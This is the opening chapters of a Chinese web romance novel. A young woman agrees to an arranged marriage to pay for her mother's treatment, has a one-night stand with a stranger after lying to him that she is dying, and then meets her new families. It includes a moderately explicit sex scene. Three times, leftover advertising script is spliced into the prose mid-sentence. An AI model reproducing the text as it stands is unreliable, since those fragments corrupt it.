《跟未婚夫他弟私奔》 1. 选中他 太阳西沉,山城半明半暗,公交站牌上是枝繁叶茂的绿化树,夏季闷热的风吹,叶子沙沙作响,黎向浠盯着远处的地板发呆。 手机响了一下午,她也躲了一下午,对面似乎没打算放过她。 黎向浠沉了沉胸口,挤出笑容。 “黎小姐。”刚放到耳边,电话对面的男人开门见山,“今天下午黎蔓女士已成功转院,您要的照片和证明资料,我已发送至您的手机。没看见您回复的信息,所以打电话告知您一声,按照规定,半个月后,您需要抵达京北。” 黎蔓是她妈妈,两人相依为命在一片筒子楼过了21年。本以为她毕业,黎蔓能享享福,结果不久前一次车祸,同时查出患癌,双重打击下,医药费和医疗条件全是问题。 她搜刮干净家里能用的钱,还是九牛一毛,束手无策之际,一个破烂铁皮盒子里蹦出了转机。 是黎蔓年轻时的情书,纸质泛黄,字迹笔锋铿锵有力: 【蔓蔓,如果我们有自己的孩子,我想我会对TA很好,我会带你来京北,让你过上好日子,相信我。】 落款还有一串电话号码。 黎向浠拨打好几次,对面总是挂断,甚至拉黑。 她给那串号码发短信,说她妈妈叫黎蔓,她叫黎向浠,想知道他是不是她的父亲。 对方回应了,说他叫向应天,在京北。 联系上之后,向应天说事情就是她猜测的那样,向家爽快答应承担黎蔓的医疗费用,保证黎蔓可以痊愈,还会给黎向浠五百万当做生活费。 条件是,黎向浠去京北,跟沈家联姻。 - 黎向浠仔细翻阅下午发来的信息,都是些证明,证明黎蔓出国,去了医术顶尖医院接受治疗,有黎蔓住院的照片,和登记的单子,英文的。 天彻底暗下去,街道年代久远,路灯是沉重的黄色。 一辆空荡荡的公交车停在黎向浠跟前,她走上去,坐到后面靠窗的位置。 筒子楼是终点站也是起点站,所以没什么人,等车子穿过一条条街道,经停一个个站点,上下车的乘客陆续多起来。 外面的灯火阑珊透过车窗,映在黎向浠漂亮的脸上。 她已经很久没有睡觉了,房子太安静她睡不着,所以每天都出去找人聊天,今天下午,她刚赢了公园老爷爷好几盘象棋,明天还得去跟奶奶们比打牌。 公交车转弯,和一辆私家车发生剐蹭,一阵急刹,黎向浠脑袋咚地一声,磕在玻璃上。 她倒吸一口气,捂着额头望出去,两车司机正商量报交警。 乘客开始抱怨,说这得耽误多长时间,闹着要下去。 黎向浠迷迷糊糊跟下去。 车水马龙,人潮步伐匆匆,似乎每个人都有事情做,唯独黎向浠垂头,踢着路边的石头,不知道该去哪里打发时间。 一道红色刹车灯刺得她眯起眼睛,抬头,她不知何时走到了一家清吧跟前。 偌大的落地窗,玻璃干净到仿佛隐形了那般,大厅是稀疏摆放的黑色真皮沙发,男男女女聊着天,手上的酒杯装着五颜六色的液体。 黎向浠没去过这些地方,好朋友经常和她分享,描述里面的帅哥潮红时有多魅力四射,说得她心底痒痒。 夜晚总是容易让人冲动,黎向浠起了刺激的想法,也多了一个胆子。 她说走就走,推门进去。 黎向浠今天穿着洗到泛旧的T恤和牛仔裤,或许是与他们有出入,刚进去便收获不少非善意目光。 黎向浠往里面走,看了一圈后,眼神落在吧台处。 男人坐在高脚椅上,戴着黑色鸭舌帽,黑衣黑裤马丁靴,身材比例像是锻炼过的男模,轻松在这个大厅里脱颖而出。 女人头发卷曲,明艳漂亮,踩着细高跟在男人身侧,贴着吧台,身材婀娜,大红唇抿了又张,喋喋不休。 画面上看,倒像是灯红酒绿里会发生一夜完美邂逅的男女。 可惜,男人却视她如空气,只是饮酒。 或许是周旋太久还得不到回应,女人面如铁色惺惺离开,宣告搭讪失败。 不少暗中观察的目光纷纷替她惋惜。 黎向浠好奇,这个人有多难攻略,才能让这么多眼神惦记又不敢上。 她走到左侧的高脚椅坐下,余光悄悄打量过去。 他帽子压得很低,帽檐挡住灯光,在脸上投下一股阴影,也掩盖不住冷白的肤色,下颌线锋利流畅,五官立体。 他似乎在思考什么,并没有发现她入座了。 服务员递来菜单,酒名花里胡哨,看不出材料和度数。黎向浠没有接过,她抬起双手在空中比划:要和他一样的。 黎向浠会手语。 小时候放假,黎蔓白天要去打工,她年龄小,没地方要,便跟着去特殊教育学校当小小志愿者。她一般吃完早饭跟着去,下午回来,那里能管午饭。 黎向浠喜欢用手语沟通,她在特殊教育学校有很多这样的好朋友,以前的生活里,除了和黎蔓沟通,她其实手语用得比较多,算是一种习惯。 她觉得手语和口语是一样的,都是语言,如果普及的话最好了,她的那些朋友,就不用因为别人看不懂手语而郁闷了。 调酒师走来,在她跟前挥动肌肉,冰块与金属碰撞,叮叮当当。不久,一杯新酒递到黎向浠眼前。棕色加冰,像是冰红茶。 她拿起抿一口。 刹那,鼻腔一酸,厚重的酒精似乎要冲破她的天灵盖,黎向浠迅速捂住窘迫的嘴角,才免得喊出声。 这间隙,男人已经一饮而尽,仿佛真是冰红茶那样,黎向浠暗暗感叹一番他酒量真好。 见他将空杯递给服务员,黎向浠把自己的酒沿着桌子滑过去。 酒杯贴着男人的手背,那里长着如爬山虎一样强韧的青筋,蔓延到修长的手指上,玻璃一触碰,它们就条件反射收紧。 他微微偏脸,掠了酒杯一眼,没什么感情地将它推回来,眼睛薄长冷漠。 手机震动,黎向浠不小心看见了他的屏幕。 是没有备注的短信,上面写着:生日快乐。 男人指尖将信息从提示栏摘掉,反扣回桌面,沉了一口气。他拿起手边的烟,夹了一根咬在嘴边,服务员找出打火机,双手凑过去。 不一会儿,白烟缭绕,模糊了英隽硬朗的五官,他似乎很烦,眉间起了淡淡的褶皱。 黎向浠觉得,应当是发短信的人没有陪他过生日,所以不开心。于是,她点了点他肩膀,和他比划生日快乐。 他没有看过来,而是就着白雾,又将新上的酒,一饮而尽。 想到他可能看不懂手语,黎向浠拿出手机,打了个生日快乐,准备递过去,耳边却传来戏谑的调侃:“喝不惯这酒吗?小哑巴?” 转头,是原本坐在中央沙发上的男人,穿着大LOGOT恤,她进来时,他正左拥右抱着美女。 这会儿又不知何时到了她身边,大LOGO口腔带出臭而沉的酒味,让黎向浠皱了皱鼻子。 “生日快乐?谁生日?你生日吗?”大LOGO念着她屏幕上的字。 黎向浠和大LOGO比划:不是我的,是他的。 大LOGO看不懂,以为她要那个男人陪她过生日而笑出声,便将手搭在她肩膀,笑吟吟说:“没关系,他不陪你我陪你。” 说着就使劲儿,要带她走。 黎向浠看向旁边的男人,他还在吞云吐雾,仿佛旁边的喧嚣全是空气。 “别看啦小美女,他在这坐了一个多小时,不下十个人找他聊天,各种前凸后翘轮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 番轰炸,一个让他开口的都没有。你跟我玩,我话多花样也多,还可以嘴对嘴教你喝酒噢~”大LOGO挑眉。 黎向浠觉得像是吃了一斤油,反胃到想干呕,她烦闷地比划:你像一头喝多了的猪,脏脏的,衣服丑丑的,我不喜欢。花样再多也是猪,短短的猪,很讨厌。 旁边,男人视线落在桌上的玻璃倒映,看见这一幕,轻咬烟蒂的嘴角轻轻勾了一下。 大LOGO却觉得黎向浠这样乱七八糟的比划很可爱,笑得更放肆了。 黎向浠长得不凶,这件事她自己从小就知道。 黎蔓是街坊邻居都公认的美人,黎向浠每次都因为被人夸长得像妈妈而自豪。 不过有一点她不满意,邻居说,黎蔓的眼睛属于上挑的狐狸眼,很勾人很成熟,她的属于圆润饱满的杏眼,看上去乖乖的,很可爱。 黎向浠还因此和邻居吵红了脸,称她的就是像黎曼那样的眼睛。尽管如此,他们还是觉得她像一只害羞的兔子,生气时,连她的门牙都有点像。 大LOGO显然也觉得她生气了很好玩,他心情大好,故意搂紧她肩膀。力气大,黎向浠怎么也挣不开。 “听话些小兔子,喝完这杯酒,去那边坐坐。” 黎向浠拍掉他的手。 大LOGO啧了一声,“调皮。” 又要掐她的脸蛋。 黎向浠拍掉,瞪向他,欲开口骂。 LOGO男只是当她矜持,他一边灌酒,一边调侃说:“那你喝我的也行,你喝了我再喝。” 黎向浠要骂出口的脏话又被吞了回去,她双手反抗,但大LOGO手臂力量大,酒撒出来,泼在她膝盖上,干净泛白的牛仔裤,染了颜色。 在不算热闹的清吧,她像是被山猪围剿的兔子,困在椅子上动弹不得。 而隔壁的男人终于动了。 他转身将黎向浠的酒杯压在桌上,手指轻轻一弹,烟蒂落入大LOGO杯中,火苗浸入酒精,呲呲熄灭,在表面浮起一层灰烬。 大LOGO身体颤了颤,看看杯子,又看看他,呵斥问:“你干什么?” 男人坐在椅子上,视线高度却能和大LOGO齐平,他并没有说话,只是看着大LOGO,眸光凛凛。 “这么嚣张?我看你是找打!”大LOGO抡起胳膊要冲上去。 后面不知哪里蹿出来两个瘦弱的男人,惺惺拦住他,小声说:“哥,别冲动,这人我好像在静哥俱乐部见过,惹不起。” 大LOGO男听到静哥,像是老鼠看见猫,满脸横肉软下来,眼神又不甘心。 男人手肘撑在桌子上,一副满不在乎的样子。 大LOGO哼气一声推开那两个男人,往原来的沙发走去。 黎向浠松了一口气。 她笑着转头,要道谢,却对上了男人灼灼的眼神。他脸色冷漠,眸光仿佛电光火石,似乎在劝退她,要她放弃奇怪的念头,不要再打扰他了。 黎向浠下意识往后躲了躲,有些害怕。 以为她这次应该乖下去了,他没什么反应地转回去,举起酒杯。 黎向浠却拿出手机,打下文字:生日快乐,我请你吃夜宵吧,当做谢谢你刚刚的帮忙。 递过去。 他掠一眼,他鼻腔出气。 请吃夜宵,明晃晃的后续信号。 他不再搭理她。 嗡- 桌上的手机又震了一下,还是那个号码,还是那四个字。 黎向浠看出来了,这个号码对他很重要,每次出现都能让他情绪波动。 男人指尖蜷了蜷,酒杯落到桌面很用力,他烦闷夹出第二支烟,要放到嘴边,想到什么又停住。 他偏头,冷冷问她:“你想睡我?” - 2. 腹诽他 他的声音是很好听的低沉。 但没想到他如此直白,黎向浠一怔,又机械点头。 “为什么?”他问。 黎向浠想用手机给他打字。 “我看得懂。”他打断她。 黎向浠诧异了一秒,便用手比划,编故事。 她说自己是将死之人,没有体会过那样的感觉,并且附上一句:如果你觉得晦气,那就算了,反正也没有人愿意帮我。 黎向浠想,如果说自己想要婚前放纵,一定会被拒绝,所以她选择了撒谎。 她又想,其实也不算撒谎,婚姻是爱情的坟墓,这谁都知道。 男人眼神散了一会儿,没有说话,似乎并不答应。 黎向浠就安静看着他。 直到他手机新信息进来,屏幕亮出他没来得及划掉的第二条短信,他眼神烦躁起来,将手机关机,把她的酒一饮而尽,结清酒钱。 “走。”他起身说。 “?”黎向浠还在状况外。 “跟上。” 黎向浠就迷迷糊糊跟在后面。 他长得很高,应该有一米九,比她整整高出一个头,窄腰宽肩,走起路来下/盘很稳,他一步,她得两小步。 清吧里的人见状,捂着嘴角挥手起哄,眼神混浊,像是进球前的临门一脚。 男人一只手放进口袋,旁若无人走着。 出门之后,他停下来朝她偏头,“到酒店之前,你随时可以反悔离开。” 黑夜里,鸭舌帽下,双重阴影,他英隽的轮廓依旧清晰。 黎向浠又是点头。 他将帽沿压低,带着她穿过两条热闹的夜市,来到山城最豪华的酒店,最顶层的房间。 房间空荡荡,没有想象中酒店的香水味,而是正常干净的空气味道,像是特意清理过的。 他眉头紧锁,从衣柜拿了浴袍扔给她,坐到窗边的沙发,又抽出一支烟点上。 黎向浠比划了个“谢谢”,去往浴室,脱下衣服,冷水从花洒落下,她打了个寒颤。 磨砂的玻璃隐隐透光,模糊映出漂亮匀称的线条,反光到落地窗上,生出一朵含苞待放的花。 男人并没有发现那片春景,而是沉在自己的世界,他极少抽烟,频率大概四五天一支,现在却夹出了第三支。 没多久,位置交换,黎向浠头发半干坐在窗前的沙发上,水滴进低领的浴袍,挂在露出大片白皙的肌肤上。 潺潺流水声之后,男人从浴室出来,腰间悬了一条浴巾,摇摇欲坠,头发上的水,淌过锋利的脸颊,流过饱满的胸肌,隐入人鱼线沟壑中。 和黎向浠一样,他们都没有穿鞋,赤脚踩在干净的地板上,托着水渍,好像这样能甩走各自的烦恼。 他从酒店准备的东西里,挑出一盒套,站到她身旁,扔在茶几上,啪地一声,似乎是提醒她做好准备,又仿佛是给她留了反悔的时间。 落地窗倒映着山城长明不熄的夜景,黎向浠指尖伸向浴巾开关的地方。 他扼住她手腕将她提起,让她掌心贴在玻璃上,扯开她腰间的浴袍绑带。 眼前是跳动的霓虹灯,身后是躁动的男人,她的手被他死死钉住,有时候是正面,有时候是反面,没有沟通。 - 翌日,天刚破晓,睡了两个小时后,黎向浠睁眼,皮肤和柔软的床单直接接触,毫无安全感。 旁边男人呼吸很浅,碎发几缕搭在高挺的鼻梁,尽管已经没有肢体接触了,他的体温还是能传到她身上,灼得黎向浠耳垂发烫。 趁他熟睡,黎向浠蹑手蹑脚起身,地板是疯狂后各种各样的证据,乱七八糟。 她红着脸捡起散落的衣服,套到身上,瞥见男人脖颈上的三道抓痕,黎向浠心头一紧。 昨晚的巅峰临界点,她没忍住差点喊出来,不小心抓伤的。 指甲划过白皙细腻的皮肤时,不知道是上面过瘾,还是下面带劲儿,男人哼声出气,低沉隐忍的声音抚过她耳边,像是缄默不语的凶兽发了脾气。 朋友没有撒谎,好看的男人潮红时,魅力、四射…… 黎向浠扔了599块,补偿他脖子上的抓痕,也想弥补她撒谎的窟窿,顺便许愿,不要碰见了,否则她没法解释昨晚的人设。 有一张五十块的左上角有一块小黑团,她衣服掉色,不小心染的。 这是她身上全部的现金。 - 天空蒙蒙亮,空气里氤氲清凉的薄雾,第一缕阳光还没有落到地面上,公交已经抵达筒子楼站,黎向浠下车,去早餐店买了两份包子,打包回家。 年份久了,筒子楼外墙变成深灰色,每家门上的绿漆都脱了大半。 黎向浠低头走着,刚要上楼,楼梯下冒出一个陌生的中年男人,走近她,“你是小浠吧?” 黎向浠“啊!”一声捂着胸口,跳到墙角,回头打量他。 男人五十岁模样,条纹polo衫别进西装裤,两件都不太合身,松松垮垮的,有些营养不良的意思。 她的记忆里没有这个人。 见她紧张,男人连忙后退,伸手安抚,“别怕,我今天来只是…” 他又着急忙慌从口袋掏出一张刮了漆的银行卡,他指甲内还有污垢,就这样递过来,“我还有些存款,你拿去给黎蔓吧,给她买些好吃的。” 黎向浠拧眉。 黎蔓长得漂亮,尽管黎蔓明确不会结婚,追求者依旧不断。 但出事这段时间,那些追求者全都消失不见,一个过问的都没有,而黎蔓昨天刚送走,这个人今天就来献殷勤,明知道黎蔓不需要了。 虚伪,黎向浠心底不屑,“我们不需要,这些钱你自己留着吧,还有,你别再来找我妈妈了。” 她焦急往楼上走。 男人也跟着往前一步。 黎向浠指着他的脚警告喊:“你再跟上来我就叫人了!” 男人欲言又止,纠结一番便垂着手站在原地。 趁他出神,黎向浠憋着气三步并作两步跑上楼,冲进家门抵住后方。确认男人没有跟上来,黎向浠才大口呼吸出来。 吓死了,这栋楼哪还有什么能帮她的人,好几户发达搬出去的,剩下都是老人小孩,仅剩的两个年轻人的也上班了,真要撕扯起来,她可没有胜算。 黎向浠拍着胸脯,等注意力回到房子里,她才注意到,房子怎么那么乱了。 地板扔着她翻箱倒柜找出来的垃圾,沙发上有来不及洗的脏衣服,桌子上堆着吃完的泡面桶…… 前段时间焦头烂额,她压根就没有管过这些。。 黎蔓总说,房子舒坦了,人就能笑出来,生活会越来越好。 黎向浠抹了抹眼角,将大门反锁,挽起手臂。 客厅厨房的东西,该扔的扔,该洗的洗,她擦完桌子又拖地,再把两间房的床单被套换下来,清洗,晾晒,衣服裤子叠好,分类放入衣柜…… 收拾好,黎向浠拿出手机,给黎蔓发了一条消息,又下楼去小区附近的公园,跟爷爷奶奶下象棋,打麻将,打扑克。 打到晚饭时间,爷爷奶奶都回家了,她才依依不舍慢吞吞走回来。 黎向浠每天约朋友出门聊天,朋友上班,她就自己去看电影。 有一次,她一天看了六场电影,其中两场还是重复的影片。 黎向浠找了几个房产中介,向家给她的五百万,她打算用来买一套房子给黎蔓,黎蔓吃了一辈子苦,等她出院回来,也该直接享福了。 这样过到九月初,约定的时间到了。 黎向浠最后打扫一遍房子,用防尘布把家具盖好,带着一箱行李,迎着山城的朝阳,坐上山城公交,去往机场。 落地京北时,是下午四点左右,机场很大,旅客匆匆,黎向浠跟着人群从航站楼出来,寻找的大眼睛清澈干净,轻松让她脱颖而出。 十多分钟过去,人群渐渐散了,黎向浠独独站在马路牙边,眯着眼睛。 她热得汗流不止,但并没有看到信息上所谓的迈巴赫,而是一整排黄蓝交替的出租车,蛰伏在路边等着载客。 手机有消 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 息进来,一看,司机说是路上堵车,还要一段时间才能到。 黎向浠叹着气将手机放回口袋。 向家是豪门,安排接机时间都能有差错,说出去是个人都不信。 向家有自己的孩子,她一个素未谋面的私生女,突然闯入他们的生活,第一关就给个下马威,也是应当的。 黎向浠心知肚明,并做好了这条路不太顺的准备。 只是他们方式错了,她以前回乡下的外婆家,跟黎蔓顶着大太阳等大巴,两小时都没有怨言,这才十分钟。 黎向浠抹掉额头的汗,托着行李箱去买了杯杨枝甘露,冰凉甜腻的奶香冲进口腔,冲散身体的闷热和不快,黎向浠活力恢复大半,嘴角重新扬起。 她优哉游哉返回原来的马路牙边晒太阳,免得司机过来没看见她,以为她已经走了,有理由不给她接回去。 她跨腿坐在行李箱上,手肘撑着拉杆,一边咬吸管一边转着脑袋打量周围环境。 不愧是京北,广阔辽源,一眼看得很远,即使被阻断,也是小小的山坡,不碍事。不像山城,一座座高山连绵不断,爬上去了又发现后面是更高的山,看不远。 思索间,左侧传来引擎原始的轰鸣声,像是猛兽咆哮。 黎向浠刚要转头看,一道黑影呼肃而过,卷起一阵强风,她紧急闭上眼,却吃了一嘴灰。 哪来的四轮鬼火。 黎向浠噗噗两声吐掉,扭头,黑色的跑车已经稳稳停在她百米外的路边,一动不动,好像刚刚“闯祸”的不是它那样。 开得那么快,赶着去投胎啊?!黎向浠腹诽睨向它。 下一秒,黎向浠想到什么,又呸呸两声,嘟囔:“我开玩笑的,不投胎不投胎,大家都平平安安的,平平安安。” 黎蔓出事之后,黎向浠学会了避谶,希望这样可以多积德,心理上给黎蔓祈福。 她一边在胸前画个十字,一边看向那辆黑色的连号跑车。 布加迪车内,空调温度极低,冷气的味道,没有任何香精成分。驾驶座上,男人面色沉沉,五官深邃,凑近了还能看见脖颈的抓痕,伤口结痂褪去,在白皙的皮肤上,留有淡淡的粉嫩。 副驾驶的男人倒是热情似火,喋喋不休。 许子炀:“我说,你真不打算跟我去啊?以后都不比赛了?到底为什么?这么突然肯定有原因吧?” 男人:…… 见他不回应,许子炀识趣摆手,要开门下车又折回来,“那行,你总得告诉我,你生日那天脖子上的抓痕哪来的?毕竟你偷偷回国这件事,我是唯一知情者,对你有看护权,你出事我可担待不起。” 男人掠了他一眼,不太满意他说的偷偷,还有那个看护权。他声音又冷又低沉,“猫。” 许子炀不是没有怀疑过那道伤跟女人有关系,位置暧昧,一夜之间出现。但一想到是裴非,他就不怀疑了,毕竟裴非的人生到现在为止,只对一个女人上过心思。 所以对于“猫抓的”这个解释,许子炀深信不疑。他眼珠瞪大,伸出食指比了个1,“不是吧裴非?本命年第一天啊。” “人家是小心谨慎保平安,你倒好,让猫抓了,又睡到下午。你以前为了保持体能,可是雷打不动晨练的,这么奇怪的破例,你要不去求个福镇一镇?” “滚。”裴非透过反光镜警告他。 许子炀惺惺在嘴巴上,做了个拉拉链的动作。 马路牙边,黎向浠只看见一个五官不错,气质略微轻浮的男人从副驾驶下来,着装休闲,一眼昂贵。 他嬉皮笑脸,还想跟驾驶座的人说些什么,刚转身,那辆车已经冲出去,独留他悬空的尔康手尴尬。 男人摆手作罢,大步进了航站楼。 没一会儿,那辆跑车折回来,开往返回京北城区的路线,经过黎向浠跟前,又是一阵极速的风,黎向浠熟练闭上眼睛和嘴巴。 等风过,她捋了捋额头凌乱的碎发,无奈说:“开那么快……” 她想了想才补充,“真当自己F1啊?” - 3. 重遇他 迈巴赫开在去京北市区的路上。 后座,纯白色椅子上,黎向浠前倾着身子,“我们现在是去哪啊?你刚刚来的路上碰见什么了?京北有什么好玩的地方吗?你一天上班多长时间?” 司机专注路面,每个回答都规规矩矩,且短暂,“向家,车祸,不知道,看雇主心情。” 司机是个中年男人,一身规整的黑白西装,戴着黑色耳机,黎向浠想,应该是雇主要求他少听少看少插话,导致他眼里有一种事不关己的冷漠。 黎向浠找了许多话题,试图激发司机聊天的兴趣,打发时间。 但司机回回都是几个字的答案,再问也是味同嚼蜡,黎向浠只好闭嘴,靠着座椅,望向窗外。 天边的晚霞开始成型,车窗外建筑快速倒退,矮矮的房子慢慢变成高耸入云的建筑,路上的车渐渐多起来。不知道是路平,还是司机开得娴熟,车子稳到黎向浠打了好几个哈欠。 抵达向家是傍晚六点左右,烈焰腾空的火烧云,给庭院内镀上一层深深的霞辉。 迈巴赫停在院子里,司机从驾驶座扭头,“我在这里等你,吃完团圆饭出来,带你去沈家。” 黎向浠错愕,一问一答间,黎向浠才知道,来向家只是走个流程,她之后所有生活都由沈家安排。连这个司机都是沈家的。 “为什么?”黎向浠不解。 司机笑笑,“抱歉,我只是照办。” 也是,他只是打工的。想来是向家介意她的身份,不喜欢她留在家中罢了,黎向浠不再过问,只礼貌微笑,说了一句“辛苦了。”顶着落日余晖,走进陌生的别墅大门。 客厅很宽敞,耀眼的吊灯,反光的地板,蜿蜒的玻璃扶手,金色柔软的沙发,好不奢华。 黎向浠站在进门处,沙发后方传来几声对话: 女人有些赌气:“怎么还没到?这么久?沈家怎么办事的?” 男人在安抚:“再等等,不差这一会儿。” 女人:“我待会儿还约了人打麻将呢。” 男人:“啧,可别说这个,等下她人来了,你要客气点。” …… 不知为何,黎向浠居然会因为最后一句,心头一暖。 佣人和她问候,里面的人听见,一并起身。 黎向浠一开始以为,看见向应天,她会有看到父亲的激动情绪,毕竟活了那么久,第一次看见他。 但没有,完全没有。 看着眼前这个个子跟她差不多高,啤酒肚、头发稀疏的中年男人,黎向浠顿了一下,她甚至觉得,他最好不要是向应天。 把黎蔓和他放到一起,会让人看到真正的鲜花插在牛粪上。 旁边的女人身材微胖,个子和他一般高,穿着古色古香的旗袍,略富贵的手腕上,翡翠手镯一抹鲜绿。 他们笑嘻嘻迎上来。 “向浠来了。”向应天慈祥喊她,又帮忙介绍着,“来,这是你邹阿姨。” 和预期的下马威不同,热情到黎向浠不知所措,她硬着头皮喊了声:“爸,邹阿姨。” 邹蕊一改刚刚不耐烦的声音,挽着她胳膊说:“向浠都这么大了,长得真漂亮,你这一路颠簸,累不累啊?” 黎向浠有些不适,但没有甩开,只是撑着笑,“谢谢邹阿姨,还好,不怎么累的。” 一顿无聊的寒暄,他们带着她去了用餐厅。 楼上传来拖鞋啪嗒的动静,一个女生出现在楼梯口,跟她年龄差不多,五官透着脾气不太好的样子,束腰的小裙子昂贵得像是晚礼服。 女生眼神审判,一边打量她,一边走到邹蕊身旁。 黎向浠攥了攥洗得泛白的衣角,嘴角干笑两下,垂头。 邹蕊连忙拉住那个女生,“馨欣,叫人,这是你姐姐。” “好吧。”女生耸耸肩,敷衍喊了一声,“姐姐。” 倒也没有敌意。 黎向浠也笑,不平不淡回应。 这就算是打过面罩。 入座用餐。 黎向浠全程沉默不言,只吃眼前那盘上海青。 邹蕊给向馨欣夹了一块糖醋鱼,“多吃些,每次晚餐就两口,身体都垮了。” 向馨欣夹起扔掉,“不要,吃多了胖,上次爸爸给我买的裙子,现在都穿不下了。” 邹蕊也不生气,只是笑着招手让佣人扫了去。 向应天哄着,“那是爸爸的错,下回送你一套合身的不就好了。” 黎向浠来之前做好了准备,知道会看见向应天家庭幸福的模样,但此刻,她还是有了落差。 原以为向家找她回来联姻,是因为没有女孩子了,现在看来,应该是向馨欣不愿意去联姻罢了。 对面不会是个傻儿子吧?黎向浠身体打颤,筷子不小心刮了一下碗。 很小一个动静,却传到了身侧向应天耳朵内,像是不满。 向应天和邹蕊换了个眼神,他给黎向浠夹了一块排骨,笑盈盈道:“向浠多吃些,这么瘦。” “对,你这孩子,太瘦了。”邹蕊附和。 “是啊,你多吃点,这些都是给你的。”向馨欣给了她一个看不出含义的笑容。 一家三口的默契关照,把黎向浠衬得像是他们救助的流浪猫。 她笑着接过排骨,又趁他们不注意,将排骨扔到骨碟里。 用餐结束,夫妻两人把她送到院子里,黎向浠上车前还是问了一嘴,“爸,我可以去看我妈妈吗?” 从黎蔓离开起,她每天给黎蔓发一条消息,但从来没有收到过回复,她有些担心。 向应天和邹蕊对视一眼,语重心长说:“向浠啊,黎蔓情况不太好,需要静养,这你也是知道的。而且她在国外,你过去了也是打扰,等她恢复一些,我再安排吧。” “要多久?”黎向浠追问。 向应天有些不耐烦,“这就要看她的造化了,她身体好得快,你就能早点去。最近你还是多考虑考虑,沈家那边的事吧,我们答应你的做到了,你也得做好该做的事情,不是吗?” “你怎么说话呢?”邹蕊呵斥向应天,转头安抚黎向浠,“向浠,别往心里去,你爸他就这样,生意做多了,什么都谈合作,跟我们也是这样说话的。” “没事的,邹阿姨。”黎向浠和她笑笑,没再多问,上了去往沈家的车。 车子穿过京北繁华的市中心,开往郊区,周边景物渐渐荒芜,黎向浠的心也开始冷起来。 黎向浠听得出弦外之音,只是向应天催得那样明显,对方不会真是个傻子吧?她叹息一声,想套一套司机的话,但他早就给了她一个绝不开口的侧脸,只好作罢。 临近八点,沈家老宅。 黎向浠在平坦的院子里下车,庭院开了灯,亮堂堂,很干净,绿化的花坛却茂盛杂乱,像是无人打理的模样。 庭院内有一棵茂盛的老榕树,树底下停了一辆黑色跑车,反着冰冷的光,是下午机场外面的“F1”,偌大古宅里,它独独高傲耸在黑夜,格格不入。 “这辆车是……”黎向浠好奇指着。 司机不耐烦,语气不太好地打断,“一直都停在这儿,有人打理,你不用管。” 黎向浠识趣闭嘴,打量着别墅老宅。 三层楼高,淡灰色墙面,复古的红木窗和大门,门上拉环年代久远,木制物品并没有什么刮痕或脱漆的样子。 司机将行李搬下车,指引她往里面走。 客厅内也都是复古的家具,白炽灯很亮,却因为家具木质颜色,显得昏暗了些。 沙发上,一个男人坐在那,高挺鼻梁上挂着金色边框眼镜,深蓝色西装熨烫得体,双腿随意交叠,他轻轻翻书,似乎是在等候。 司机走过去,一改对她爱搭不理的模样,恭恭敬敬喊了一声,“沈总。” 男人抬头,眼神温和看过来,他合上书本,起身扣好西装扣子,“黎小姐。” 声音沉稳。三十多岁的模样,笑起来眼尾一缕浅浅的鱼尾纹,让他看上去平易近人。 “您好。”黎向浠站在原地。 “我叫沈推凡,”男人将书本递给司机,指挥着司机将她的行李搬到她房间里,直言不讳,“也是你未来的丈夫。” “第一次见,下午有一个会走不开,本来应该我去接你的。”沈推凡走到她跟前。 黎向浠拧眉,沈推凡长得不错,一表人才,行为举止礼貌端庄,不像是会被退婚的类型。 想到向家别墅里向馨欣的性子,黎向浠觉得,应当是沈推凡年龄大了些,老古板,没情趣,向馨欣不喜欢。 这对她来说反而省事,婚后不用苦心伪装恩爱,黎向浠松了一口气。 “没关系的,工作要紧。”黎向浠含笑回。 沈推凡带她介绍别墅,他和她保持着一步的距离。 “向叔叔说,你是山城长大的?”沈推凡找话题 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和她拉近距离。 “对,在老破小的筒子楼。”黎向浠想把真实情况展开给他看,或许沈家知道她的身份,就没有那么想联姻了。 “我去过山城几次,那边的筒子楼挺好看的,有些年头,是90年代的味道,跟这栋老宅差不多质感。”沈推凡依旧再笑,又提示她注意脚底,“小心楼梯。” 他伸出手背,要扶她。 黎向浠有些诧异,她今天穿的还是简单的T恤牛仔,她大部分衣服都是简单利落的,但沈推凡的行为,让她觉得,她穿的是跟向馨欣差不多的晚礼服。 她不太习惯被这样娇惯对待,但也不能驳了他面子,只能虚托了两支手指搭上去。 沈推凡手腕有一块银色的机械表,表盘是蓝色,看上去很昂贵,黎向浠就搭在那只表带上。 第一次经历,她不熟练,上楼梯时,总是小心碰到他手腕,又急匆匆收回指尖,像是打地鼠,不敢露头,怯怯的。 “抱歉。”黎向浠收回手,不明白自己为什么要道歉。 “慢慢适应。”沈推凡插兜,给她指着方向。 一来二去,聊得投机,黎向浠对这段婚姻逐渐褪去了排斥情绪。 临近九点,二楼,沈推凡朝走廊尽头的房间叮嘱,“那间房你不要去,平时也不要打开。” 黎向浠匆匆掠过一眼,是暗色的木门,关得很紧,因为在走廊尽头,感应灯没有亮起,看上去黑森森,凉飕飕的。 她点头答应,便跟着沈推凡拐进书房。 典型的老式办公桌,椅子书架等都是木制,空气飘着古木沉香,很静人心,黎向浠一走进来,便觉得浑身轻松。 沈推凡说:“这间书房你可以随便用。” 黎向浠指着书架,“那些我也可以看吗?” 一排恐怖类型的小说,许多是她没看过的。 黎蔓以前经常用恐怖小说、民间传闻哄她入睡,久而久之黎向浠就养成爱看这些的习惯,黎向浠觉得她之后会经常光顾这里。 “当然。”沈推凡拿了一本下来递给她,“你随时可以阅读。” 黎向浠接过,“谢谢。” 沈推凡抬起手腕,“时间差不多了,我明天要出国谈笔生意,你有什么需要和刚刚的司机联系就好。” “你不住在这里吗?”黎向浠问。 按照沈推凡刚刚聊天的频率,如果他留下来,她一定不会觉得无聊,黎向浠只是缺一个室友。 沈推凡又是绅士笑容,“不,领证之前,我们还是不要住在一起的好,免得传出去,让人落口舌。你自己住也能舒坦些,之后的事,慢慢来。” 黎向浠点点头,想到什么,她喊住他,一脸期待问:“我能出去工作吗?” “你马上会是我的夫人,如果生活上有需要,直接和我说就好。”沈推凡委婉拒绝。 黎向浠没再坚持。 沈推凡离开,书房静悄悄,只剩沉香的味道,无聊时,这个过分冷静的气味,只会让低落的心情加重。 黎向浠靠在桌边,对着手里的书打趣说:“要不你从书里出来,跟我聊聊天呢?” 